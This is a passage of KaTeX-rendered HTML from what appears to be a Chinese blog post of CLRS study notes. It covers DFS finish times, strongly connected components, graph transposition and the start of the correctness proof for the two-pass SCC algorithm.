style="margin-right:0.2778em;"></span><span class="mrel">∈</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">E</span></span></span></span>，在 DFS 中 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>u</mi><mi mathvariant="normal">.</mi><mi>f</mi><mo>&gt;</mo><mi>v</mi><mi mathvariant="normal">.</mi><mi>f</mi></mrow><annotation encoding="application/x-tex">u.f &gt; v.f</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">u</span><span class="mord">.</span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&gt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord">.</span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span></span></span></span>。</p><p><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>u</mi></mrow><annotation encoding="application/x-tex">u</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">u</span></span></span></span> 探索 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi></mrow><annotation encoding="application/x-tex">v</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span></span></span></span> 时，考虑 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi></mrow><annotation encoding="application/x-tex">v</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span></span></span></span> 的三种颜色：</p><p><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi></mrow><annotation encoding="application/x-tex">v</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span></span></span></span> 不能为灰色，否则 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi></mrow><annotation encoding="application/x-tex">v</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span></span></span></span> 是 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>u</mi></mrow><annotation encoding="application/x-tex">u</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">u</span></span></span></span> 的祖先，形成后向边，与上面的证明矛盾。</p><p>当 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi></mrow><annotation encoding="application/x-tex">v</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span></span></span></span> 为白色，则 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi></mrow><annotation encoding="application/x-tex">v</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span></span></span></span> 是 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>u</mi></mrow><annotation encoding="application/x-tex">u</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">u</span></span></span></span> 的后代，按照后代嵌套的性质，<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi><mi mathvariant="normal">.</mi><mi>f</mi><mo>&lt;</mo><mi>u</mi><mi mathvariant="normal">.</mi><mi>f</mi></mrow><annotation encoding="application/x-tex">v.f &lt; u.f</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord">.</span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&lt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">u</span><span class="mord">.</span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span></span></span></span>。</p><p>当 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi></mrow><annotation encoding="application/x-tex">v</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span></span></span></span> 为黑色，则 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi></mrow><annotation encoding="application/x-tex">v</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span></span></span></span> 在 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>u</mi></mrow><annotation encoding="application/x-tex">u</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">u</span></span></span></span> 之前就已经置黑，显然 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi><mi mathvariant="normal">.</mi><mi>f</mi><mo>&lt;</mo><mi>u</mi><mi mathvariant="normal">.</mi><mi>f</mi></mrow><annotation encoding="application/x-tex">v.f &lt; u.f</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord">.</span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&lt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">u</span><span class="mord">.</span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span></span></span></span>。</p><p>则 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>u</mi><mi mathvariant="normal">.</mi><mi>f</mi><mo>&gt;</mo><mi>v</mi><mi mathvariant="normal">.</mi><mi>f</mi></mrow><annotation encoding="application/x-tex">u.f &gt; v.f</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">u</span><span class="mord">.</span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&gt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord">.</span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span></span></span></span> 成立，即 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi mathvariant="normal">∃</mi><mo stretchy="false">(</mo><mi>u</mi><mo separator="true">,</mo><mi>v</mi><mo stretchy="false">)</mo><mo>∈</mo><mi>E</mi><mo>⇔</mo><mi>u</mi><mi mathvariant="normal">.</mi><mi>f</mi><mo>&gt;</mo><mi>v</mi><mi mathvariant="normal">.</mi><mi>f</mi></mrow><annotation encoding="application/x-tex">\exists (u,v) \in E \Leftrightarrow u.f &gt; v.f</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">∃</span><span class="mopen">(</span><span class="mord mathnormal">u</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">∈</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">⇔</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">u</span><span class="mord">.</span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&gt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord">.</span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span></span></span></span>。</p></li></ol><h2 id="strongly-connected-components-scc"><a class="markdownIt-Anchor" href="#strongly-connected-components-scc"></a> Strongly Connected Components (SCC)</h2><p>强连通分量（SCC）指的是一个最大节点集合 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>C</mi><mo>⊆</mo><mi>V</mi></mrow><annotation encoding="application/x-tex">C \subseteq V</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8193em;vertical-align:-0.136em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">⊆</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.22222em;">V</span></span></span></span>，使得对于任意 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>u</mi><mo separator="true">,</mo><mi>v</mi><mo>∈</mo><mi>C</mi></mrow><annotation encoding="application/x-tex">u, v \in C</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7335em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">u</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">∈</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span></span></span></span>，都有 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>u</mi></mrow><annotation encoding="application/x-tex">u</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">u</span></span></span></span> 到 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi></mrow><annotation encoding="application/x-tex">v</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span></span></span></span> 的路径和 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi></mrow><annotation encoding="application/x-tex">v</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span></span></span></span> 到 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>u</mi></mrow><annotation encoding="application/x-tex">u</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">u</span></span></span></span> 的路径。</p><p>比如成环的节点集合可以是 SCC，多个环粘在一起则是一整个 SCC（单个节点也可以是）。</p><p>如上所说，图 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>G</mi><mo stretchy="false">(</mo><mi>V</mi><mo separator="true">,</mo><mi>E</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">G(V, E)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">G</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.22222em;">V</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="mclose">)</span></span></span></span> 可以被转置为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>G</mi><mi>T</mi></msup><mo stretchy="false">(</mo><mi>V</mi><mo separator="true">,</mo><msup><mi>E</mi><mi>T</mi></msup><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">G^T(V, E^T)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0913em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal">G</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.22222em;">V</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span>，其中 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>E</mi><mi>T</mi></msup><mo>=</mo><mo stretchy="false">{</mo><mo stretchy="false">(</mo><mi>v</mi><mo separator="true">,</mo><mi>u</mi><mo stretchy="false">)</mo><mi mathvariant="normal">∣</mi><mo stretchy="false">(</mo><mi>u</mi><mo separator="true">,</mo><mi>v</mi><mo stretchy="false">)</mo><mo>∈</mo><mi>E</mi><mo stretchy="false">}</mo></mrow><annotation encoding="application/x-tex">E^T = \{(v, u) | (u, v) \in E\}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8413em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">{(</span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">u</span><span class="mclose">)</span><span class="mord">∣</span><span class="mopen">(</span><span class="mord mathnormal">u</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">∈</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="mclose">}</span></span></span></span>。</p><p>观察到 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>G</mi></mrow><annotation encoding="application/x-tex">G</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">G</span></span></span></span> 中的 SCC 在 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>G</mi><mi>T</mi></msup></mrow><annotation encoding="application/x-tex">G^T</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8413em;"></span><span class="mord"><span class="mord mathnormal">G</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span></span></span></span> 中也是 SCC。</p><p>那么书中给到的寻找 SCC 的算法是：</p><ol><li><p>在 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>G</mi></mrow><annotation encoding="application/x-tex">G</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">G</span></span></span></span> 上运行 DFS，记录每个节点的 <code>finish time</code>。</p></li><li><p>转置图 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>G</mi></mrow><annotation encoding="application/x-tex">G</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">G</span></span></span></span> 得到 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>G</mi><mi>T</mi></msup></mrow><annotation encoding="application/x-tex">G^T</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8413em;"></span><span class="mord"><span class="mord mathnormal">G</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span></span></span></span>。</p></li><li><p>在 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>G</mi><mi>T</mi></msup></mrow><annotation encoding="application/x-tex">G^T</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8413em;"></span><span class="mord"><span class="mord mathnormal">G</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span></span></span></span> 上按照 <code>finish time</code> 的逆序运行 DFS，每次 DFS 访问到的节点集合就是一个 SCC。</p></li></ol><blockquote><p>注意这里的逆序指的是最外层循环遍历节点的顺序，按照这个顺序去进入 <code>dfsvisit</code>，而不是在 <code>dfsvisit</code> 内部按照 <code>finish time</code> 的逆序去访问邻居。</p></blockquote><p>如何证明正确性？</p><p><s>观察下面的图片就可以发现正确性，先 DFS 记录 <code>finish time</code>，之后转置图，任选一个节点进去 <code>dfs_visit</code> 就会发现只能访问到节点所在的 SCC，无法访问的其他的 SCC</s></p><p><img src="/images/CLRS/SCC_example.png" alt="SCC_example" /></p><p>以下三个步骤证明正确性：</p><ol><li><p>图 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>G</mi></mrow><annotation encoding="application/x-tex">G</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">G</span></span></span></span> 中有两个不同的 SCC <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>C</mi><mn>1</mn></msub></mrow><annotation encoding="application/x-tex">C_1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 和 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>C</mi><mn>2</mn></msub></mrow><annotation encoding="application/x-tex">C_2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>，使得 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>u</mi><mo separator="true">,</mo><mi>v</mi><mo>∈</mo><msub><mi>C</mi><mn>1</mn></msub></mrow><annotation encoding="application/x-tex">u, v \in C_1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7335em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">u</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">∈</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>，<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>u</mi><mo mathvariant="normal" lspace="0em" rspace="0em">′</mo></msup><mo separator="true">,</mo><msup><mi>v</mi><mo mathvariant="normal" lspace="0em" rspace="0em">′</mo></msup><mo>∈</mo><msub><mi>C</mi><mn>2</mn></msub></mrow><annotation encoding="application/x-tex">u&#x27;, v&#x27; \in C_2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9463em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal">u</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7519em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7519em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">∈</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>，假定存在路径 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>u</mi><mo>→</mo><msup><mi>u</mi><mo mathvariant="normal" lspace="0em" rspace="0em">′</mo></msup></mrow><annotation encoding="application/x-tex">u \rightarrow u&#x27;</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">u</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">→</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7519em;"></span><span class="mord"><span class="mord mathnormal">u</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7519em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span></span></span></span></span>，则不存在路径 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>v</mi><mo mathvariant="normal" lspace="0em" rspace="0em">′</mo></msup><mo>→</mo><mi>v</mi></mrow><annotation encoding="application/x-tex">v&#x27; \rightarrow v</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7519em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7519em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">→</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span></span></span></span>。</p><p>反证法：假设存在路径 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>v</mi><mo mathvariant="normal" lspace="0em" rspace="0em">′</mo></msup><mo>→</mo><mi>v</mi></mrow><annotation encoding="application/x-tex">v&#x27; \rightarrow v</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7519em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7519em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">→</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span></span></span></span>，则 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>C</mi><mn>1</mn></msub></mrow><annotation encoding="application/x-tex">C_1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord 